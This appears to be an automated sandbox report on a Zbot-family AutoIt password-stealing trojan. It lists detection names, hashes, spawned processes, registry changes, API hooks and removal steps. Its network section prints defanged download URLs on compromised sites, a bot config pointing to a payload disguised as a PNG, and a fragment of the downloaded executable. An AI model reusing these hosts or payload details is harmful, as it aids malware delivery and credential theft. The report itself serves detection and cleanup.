Trojan.GenericKD.1711011 (BitDefender), Trojan.Win32.Vobfus.yew (Kaspersky), Trojan.GenericKD.1711011 (B) (Emsisoft), Artemis!A246DB93F7E8 (McAfee), Worm.Autoit (Ikarus), Trojan.GenericKD.1711011 (FSecure), Worm/Autoit.BFDG (AVG), Win32:Dropper-gen [Drp] (Avast), Trojan.GenericKD.1711011 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, Sinowal.YR, WormAutoItGen.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor, Worm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a246db93f7e88ec8eb4f4102c4ccaf84
SHA1: 1663282b8e6f2e844a8e15956c1e4ea449e5c3e0
SHA256: 2acbc7f63d25a3453658da948be7f7dabb3e84c9164f946337d0e116d3243004
SSDeep: 6144:quIlWqB ihabs7Ch9KwyF5LeLodp2D1Mmakda0qLZD6Yyvbr:B6Wq4aaE6KwyF5L0Y2D1PqLNrybr
Size: 334821 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: Premium Installer
Created at: 2012-01-29 23:32:28
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan-PSW creates the following process(es):
wmic.exe:496
wmic.exe:1728
net1.exe:740
net1.exe:1516
net1.exe:948
net1.exe:1076
net1.exe:560
net1.exe:1156
net1.exe:1612
net1.exe:640
net1.exe:1112
net1.exe:384
net1.exe:240
net1.exe:1760
net1.exe:2016
net1.exe:500
hmmo32.exe:1048
net.exe:212
net.exe:580
net.exe:1340
net.exe:608
net.exe:456
net.exe:1500
net.exe:1112
net.exe:1476
net.exe:688
net.exe:1452
net.exe:2008
net.exe:1516
net.exe:1764
net.exe:912
uvyb.exe:1788
The Trojan-PSW injects its code into the following process(es):
%original file name%.exe:656
Explorer.EXE:128
Mutexes
The following mutexes were created/opened:
{D2F72CEF-59F5-AB56-A62E-1152646FBF58}ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!_!MSFTHISTORY!_ShimCacheMutexc:!documents and settings!adm!local settings!temporary internet files!content.ie5!
File activity
The process %original file name%.exe:656 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\hmmo32.exe (29308 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\germans.ini (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png (107905 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\history3[1].jpg (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
The process hmmo32.exe:1048 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\tmp0bba8feb.bat (179 bytes)
%Documents and Settings%\%current user%\Application Data\Nenua\uvyb.exe (225 bytes)
Registry activity
The process wmic.exe:496 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 5C 18 DD BD 88 9E 3F 75 26 C5 0C CD 25 F6 72"
The process wmic.exe:1728 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "02 D5 08 38 64 AF B1 EF 06 42 80 B5 AA E5 E6 08"
The process %original file name%.exe:656 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"server_sys" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"AstNet" = "0"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 C9 73 25 8A D5 1E 02 A0 A2 5F 84 07 23 89 64"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Hupi]
"Osepok" = "92 86 BC 85 A0 06 9E CF 17 73 DF 6D 77 1B 58 47"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan-PSW deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process net1.exe:740 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AB 23 66 0A 32 EE D7 76 4C F0 1C 60 2C 3D FE B1"
The process net1.exe:1516 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C3 16 9C 98 DB 68 F3 B3 A7 6E 06 73 16 78 70 A4"
The process net1.exe:948 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A 63 42 90 B1 D3 40 35 14 AE CC EA 57 D8 FA 68"
The process net1.exe:1076 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4F 92 B7 ED DA F6 FD 2B AA 10 81 03 1F CB F3 17"
The process net1.exe:560 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "91 60 94 35 67 52 DA D7 5D 49 FE 8C 22 91 80 E0"
The process net1.exe:1156 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1F 8C C9 CF 0C 48 0C FA 2F 0B 31 D0 2F 46 9E 9E"
The process net1.exe:1612 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 70 1A 24 62 F4 FF BA A8 00 AB 6A 19 10 32 52"
The process net1.exe:640 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 69 ED 99 1C 54 3F 61 EA F7 B7 D3 12 00 3B 46"
The process net1.exe:1112 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 49 51 51 04 FC 62 54 A8 48 59 3A 9D 8D 7F 10"
The process net1.exe:384 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 97 DB 02 D6 41 48 E5 37 D0 38 DF 4D 04 3A 7A"
The process net1.exe:240 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 59 B5 54 65 4B 27 63 85 87 C6 A8 15 2E 7D 7A"
The process net1.exe:1760 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "09 A1 D0 8C 50 DF 89 13 31 A5 EA 03 35 08 30 51"
The process net1.exe:2016 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 88 42 65 1B EC 78 67 F5 D9 EE EA AB 75 55 78"
The process net1.exe:500 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 AE 1A 6C B7 3E 58 29 C0 3D 93 95 C9 9F 0F B8"
The process hmmo32.exe:1048 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 65 9B F3 1B AC 7B D1 8F 19 9F E2 11 C9 20 9C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Hupi]
"Osepok" = "92 86 BC 85 A0 06 9E CF 17 73 DF 6D 77 1B 58 47"
The process net.exe:212 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "09 B6 95 C1 A1 9C 46 AF B7 46 3A 6C 8F 2D 85 E4"
The process net.exe:580 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 C7 DC 6E 20 CC EB 3B 98 97 15 E2 67 41 9A 21"
The process net.exe:1340 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 16 2E A0 8C 55 57 47 F6 4D 28 37 BC AA E7 F7"
The process net.exe:608 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "20 E7 21 08 B8 6D 1F B4 8B 39 25 1E 73 A1 AC F4"
The process net.exe:456 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D1 25 DC 30 B9 E4 DA 18 66 0D 3A B1 35 11 00 28"
The process net.exe:1500 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CD 83 72 ED FF AA 05 60 86 F8 D9 D9 66 AB FB 0B"
The process net.exe:1112 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 9C 28 16 2B 1B 2C AF BA AB EC 4A 34 86 D1 71"
The process net.exe:1476 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 34 D5 A1 71 9A F6 78 32 45 8D 37 32 69 F5 EA"
The process net.exe:688 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 45 E6 D5 49 69 E4 0D 53 1B EC 3F 96 89 7D 8C"
The process net.exe:1452 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 3A 83 D9 E2 7B AA 6B 16 65 D9 4E DB 27 05 22"
The process net.exe:2008 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 D4 16 74 9F 17 F5 63 36 38 F1 47 33 F9 B0 11"
The process net.exe:1516 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 E3 15 DD B8 EA 6D 22 90 83 F1 1E FE 1F 67 D0"
The process net.exe:1764 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 C7 7A 0B B4 F4 C9 C9 9F 87 58 1C 2A 5A E1 8E"
The process net.exe:912 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 18 15 54 B1 62 EE 7F 40 3A CC F1 A5 F9 60 26"
The process uvyb.exe:1788 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 FE AB 46 6F 2B DB 54 DB 13 30 1F 49 5C 52 EB"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
Dropped PE files
MD5 | File path |
---|---|
44de8d23cb5561cb45e91b2b1698af8d | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Nenua\uvyb.exe |
70e38459cc81382997cb074f38d3a7f6 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan-PSW installs the following user-mode hooks in WINMM.dll:
PlaySoundW
The Trojan-PSW installs the following user-mode hooks in WININET.dll:
HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA
The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan-PSW installs the following user-mode hooks in USER32.dll:
SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC
The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:
CreateProcessAsUserA
CreateProcessAsUserW
The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:
WSASend
gethostbyname
send
closesocket
getaddrinfo
The Trojan-PSW installs the following user-mode hooks in kernel32.dll:
ExitProcess
GetFileAttributesExW
The Trojan-PSW installs the following user-mode hooks in ntdll.dll:
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
wmic.exe:496
wmic.exe:1728
net1.exe:740
net1.exe:1516
net1.exe:948
net1.exe:1076
net1.exe:560
net1.exe:1156
net1.exe:1612
net1.exe:640
net1.exe:1112
net1.exe:384
net1.exe:240
net1.exe:1760
net1.exe:2016
net1.exe:500
hmmo32.exe:1048
net.exe:212
net.exe:580
net.exe:1340
net.exe:608
net.exe:456
net.exe:1500
net.exe:1112
net.exe:1476
net.exe:688
net.exe:1452
net.exe:2008
net.exe:1516
net.exe:1764
net.exe:912
uvyb.exe:1788 - Delete the original Trojan-PSW file.
- Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\hmmo32.exe (29308 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\germans.ini (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\swsoft[1].png (107905 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\history3[1].jpg (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp0bba8feb.bat (179 bytes)
%Documents and Settings%\%current user%\Application Data\Nenua\uvyb.exe (225 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: English (United States)
Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 458752 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 462848 | 274432 | 270848 | 5.49591 | 0139746a74475b9ff8edf12512d74234 |
.rsrc | 737280 | 8192 | 7168 | 2.76889 | cecd8a57722b8435e1deb6238c513d36 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://www.nadayu.com.my/images/history3.jpg | 183.78.169.60 |
hxxp://www.hirano.ac.jp/ifs/wp-admin/images/swsoft.png | 210.172.218.28 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /ifs/wp-admin/images/swsoft.png HTTP/1.1
User-Agent: AutoIt
Host: VVV.hirano.ac.jp
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 04 Jul 2014 02:06:54 GMT
Server: Apache/2.2.20
Last-Modified: Mon, 30 Jun 2014 17:43:56 GMT
ETag: "1fc8014-37200-4fd1134072f00"
Accept-Ranges: bytes
Content-Length: 225792
Content-Type: image/png
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..7.................d........................@.......................................@..........................................................................................................................................................text....c.......d.................. ..`.rdata........... ...h..............@..@.data...R...........................@....rsrc...............................@..@.reloc...@...........^..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................j.h..@............(.@...(.@..5,.@...).(.@. .0.@... .4.@.....@. .0.@.h8.@.........@..-E.@... .@..,...=~...uf.}.WRS.....)5..@....-..@.d.....0.....(.@..............5(.@....)=I.@...[Z...H<....I8hM.@.j@QP.H........).(.@................F............. ..%Q.@...U.@..5Y.@...(.@...................U....(......E.)..$....E..,....E. ]..-....E......U....$.u.....@...$....-..@. U..-..@.Nu..]..%..@..............@.)u.....@....@@.3.....@................$.....$....a...~. ...])=..@.........]@..-..@.P.5..@... ....U.........@..
<<
<<< skipped >>>
GET /images/history3.jpg HTTP/1.1
User-Agent: AutoIt
Host: VVV.nadayu.com.my
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 04 Jul 2014 02:06:46 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 PHP/5.3.28
Last-Modified: Fri, 09 May 2014 09:41:59 GMT
ETag: "ce032f-41-4f8f468b44d25"
Accept-Ranges: bytes
Content-Length: 65
Content-Type: image/jpeg
[bot]..url=hXXp://VVV.hirano.ac.jp/ifs/wp-admin/images/swsoft.png..
Map
The Trojan-PSW connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_656:
`.rsrc
`.rsrc
s%j.Zf
s%j.Zf
8crtsu
8crtsu
:crts
:crts
crts
crts
GetProcessWindowStation
GetProcessWindowStation
operator
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
uxtheme.dll
kernel32.dll
kernel32.dll
operand of unlimited repeat could match the empty string
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
erroffset passed as NULL
erroffset passed as NULL
POSIX collating elements are not supported
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N{name}, \U, or \u
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with PCRE_UCP support
this version of PCRE is not compiled with PCRE_UCP support
ICMP.DLL
ICMP.DLL
advapi32.dll
advapi32.dll
RegDeleteKeyExW
RegDeleteKeyExW
Error text not found (please report)
Error text not found (please report)
zcÁ
zcÁ
GetProcessHeap
GetProcessHeap
CreatePipe
CreatePipe
GetWindowsDirectoryW
GetWindowsDirectoryW
GetCPInfo
GetCPInfo
RegDeleteKeyW
RegDeleteKeyW
RegEnumKeyExW
RegEnumKeyExW
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyExW
RegOpenKeyExW
RegCloseKey
RegCloseKey
SetViewportOrgEx
SetViewportOrgEx
ShellExecuteExW
ShellExecuteExW
SHFileOperationW
SHFileOperationW
ShellExecuteW
ShellExecuteW
RegisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
GetKeyboardLayoutNameW
ExitWindowsEx
ExitWindowsEx
EnumThreadWindows
EnumThreadWindows
GetAsyncKeyState
GetAsyncKeyState
SetKeyboardState
SetKeyboardState
GetKeyboardState
GetKeyboardState
GetKeyState
GetKeyState
VkKeyScanW
VkKeyScanW
EnumWindows
EnumWindows
EnumChildWindows
EnumChildWindows
MapVirtualKeyW
MapVirtualKeyW
CloseWindowStation
CloseWindowStation
SetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
OpenWindowStationW
UnregisterHotKey
UnregisterHotKey
keybd_event
keybd_event
InternetCrackUrlW
InternetCrackUrlW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
HttpOpenRequestW
HttpSendRequestW
HttpSendRequestW
FtpOpenFileW
FtpOpenFileW
FtpGetFileSize
FtpGetFileSize
InternetOpenUrlW
InternetOpenUrlW
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
23$--%"!'
23$--%"!'
s.ak[
s.ak[
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
COMDLG32.dll
COMDLG32.dll
GDI32.dll
GDI32.dll
MPR.dll
MPR.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
PSAPI.DLL
PSAPI.DLL
SHELL32.dll
SHELL32.dll
USER32.dll
USER32.dll
USERENV.dll
USERENV.dll
VERSION.dll
VERSION.dll
WININET.dll
WININET.dll
WINMM.dll
WINMM.dll
WSOCK32.dll
WSOCK32.dll
mscoree.dll
mscoree.dll
nKERNEL32.DLL
nKERNEL32.DLL
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
WUSER32.DLL
WUSER32.DLL
>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> 